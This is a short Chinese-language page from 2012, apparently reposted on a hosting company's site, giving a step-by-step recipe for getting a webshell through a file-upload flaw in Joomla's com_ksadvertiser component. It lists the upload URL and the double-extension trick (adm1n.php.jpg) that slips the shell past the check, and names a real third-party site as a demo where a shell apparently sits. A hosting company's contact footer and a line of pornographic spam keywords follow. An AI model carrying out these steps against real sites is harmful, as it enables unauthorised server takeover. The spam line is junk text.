Joomla 遠程上傳漏洞.直接getshell

發(fā)布時間: 2012/7/28 19:00:28

1. 有些joomal需要先注冊.

http://site/index.php?option=com_user&view=login

2. 到上傳地址

http://site/index.php?option=com_ksadvertiser&Itemid=36&task=add&catid=0&lang=en

3. 點擊image后點擊upload,選擇shell, 將shell重名為adm1n.php.jpg格式.

4. 上傳后的文件在 / images/ksadvertiser/U0 這個目錄下.

http://site/images/ksadvertiser/U0/adm1n.php.gif

Demo: http://alt.kiss-software.de/images/ksadvertiser/U0/403.php.gif

億恩科技地址(ADD)：鄭州市黃河路129號天一大廈608室郵編(ZIP)：450008 傳真(FAX)：0371-60123888
   聯(lián)系：億恩小凡
   QQ：89317007
   電話:0371-63322206

億恩北京公司：

經(jīng)營性ICP/ISP證：京B2-20150015

億恩鄭州公司：

經(jīng)營性ICP/ISP/IDC證：豫B1.B2-20060070

億恩南昌公司：

經(jīng)營性ICP/ISP證：贛B2-20080012

服務器/云主機 24小時售后服務電話：0371-60135900

虛擬主機/智能建站 24小時售后服務電話：0371-60135900

掃掃關(guān)注-微信公眾號

0371-60135900

亚洲Aⅴ无码Av红楼在线观看_国产午夜福利涩爱AⅤ_国产sm调教一区二区三区_精品人妻一区二区三区不卡毛片